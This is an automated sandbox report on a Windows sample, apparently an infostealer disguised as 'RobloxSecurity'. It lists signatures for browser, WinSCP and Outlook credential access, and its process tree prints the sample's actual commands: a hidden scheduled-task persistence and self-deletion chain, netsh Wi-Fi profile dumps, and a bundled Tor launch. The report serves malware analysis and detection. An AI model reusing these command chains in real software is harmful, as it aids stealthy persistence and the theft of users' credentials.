Analysis
- max time kernel
138s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
04/06/2024, 01:36
General
- Target 85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe
- Size 119KB
- Sample240604-b1kpdagg5x
- SHA256 85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0
Malware Config
Signatures
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 9 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 29 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe"C:\Users\Admin\AppData\Local\Temp\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\RobloxSecurity\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe" &&START "" "C:\Users\Admin\AppData\Local\RobloxSecurity\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\chcp.comchcp 650013⤵
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C:\Windows\system32\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
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C:\Windows\system32\schtasks.exeschtasks /create /tn "85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\RobloxSecurity\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\RobloxSecurity\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe"C:\Users\Admin\AppData\Local\RobloxSecurity\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
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C:\Users\Admin\AppData\Local\zxqaiiy6en\tor\tor-real.exe"C:\Users\Admin\AppData\Local\zxqaiiy6en\tor\tor-real.exe" -f "C:\Users\Admin\AppData\Local\zxqaiiy6en\tor\torrc.txt"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\chcp.comchcp 650015⤵
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C:\Windows\system32\netsh.exenetsh wlan show profiles5⤵
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C:\Windows\system32\findstr.exefindstr /R /C:"[ ]:[ ]"5⤵
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\chcp.comchcp 650015⤵
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C:\Windows\system32\netsh.exenetsh wlan show networks mode=bssid5⤵
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C:\Windows\system32\findstr.exefindstr "SSID BSSID Signal"5⤵
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C:\Users\Admin\AppData\Local\RobloxSecurity\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exeC:\Users\Admin\AppData\Local\RobloxSecurity\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\RobloxSecurity\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exeC:\Users\Admin\AppData\Local\RobloxSecurity\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\AppData\Local\RobloxSecurity\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exeC:\Users\Admin\AppData\Local\RobloxSecurity\85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe.log
85b1ce3f619ebeb3799acff17ee1356a7f3911e0b95f29b24111ae03fa2a03a0.exe
p.dat
cached-microdesc-consensus.tmp
cached-microdescs.new
hostname
libcrypto-1_1.dll
libevent-2-1-7.dll
libgcc_s_sjlj-1.dll
libssl-1_1.dll
libssp-0.dll
libwinpthread-1.dll
tor-real.exe
torrc.txt
zlib1.dll
memory/1860-6-0x00007FF86A0E0000-0x00007FF86ABA1000-memory.dmp
memory/1860-1-0x00007FF86A0E3000-0x00007FF86A0E5000-memory.dmp
memory/1860-0-0x000001BEE3820000-0x000001BEE3844000-memory.dmp
memory/1860-2-0x00007FF86A0E0000-0x00007FF86ABA1000-memory.dmp
memory/4404-104-0x0000000074C60000-0x0000000074C86000-memory.dmp
memory/4404-103-0x0000000074D80000-0x0000000074E7B000-memory.dmp
memory/4404-140-0x0000000074AC0000-0x0000000074BC4000-memory.dmp
memory/4404-141-0x00000000747C0000-0x0000000074AB6000-memory.dmp
memory/4404-139-0x0000000074BD0000-0x0000000074C51000-memory.dmp
memory/4404-138-0x0000000074C60000-0x0000000074C86000-memory.dmp
memory/4404-134-0x0000000000BD0000-0x0000000000FE4000-memory.dmp
memory/4404-137-0x0000000074D80000-0x0000000074E7B000-memory.dmp
memory/4404-136-0x0000000074C90000-0x0000000074D76000-memory.dmp
memory/4404-135-0x0000000074E80000-0x0000000074EC4000-memory.dmp
memory/4404-105-0x0000000000BD0000-0x0000000000FE4000-memory.dmp
memory/4404-143-0x0000000000BD0000-0x0000000000FE4000-memory.dmp
memory/4404-158-0x0000000000BD0000-0x0000000000FE4000-memory.dmp
memory/4404-175-0x0000000000BD0000-0x0000000000FE4000-memory.dmp
memory/4404-183-0x0000000000BD0000-0x0000000000FE4000-memory.dmp
memory/4404-191-0x0000000000BD0000-0x0000000000FE4000-memory.dmp
memory/4404-203-0x0000000000BD0000-0x0000000000FE4000-memory.dmp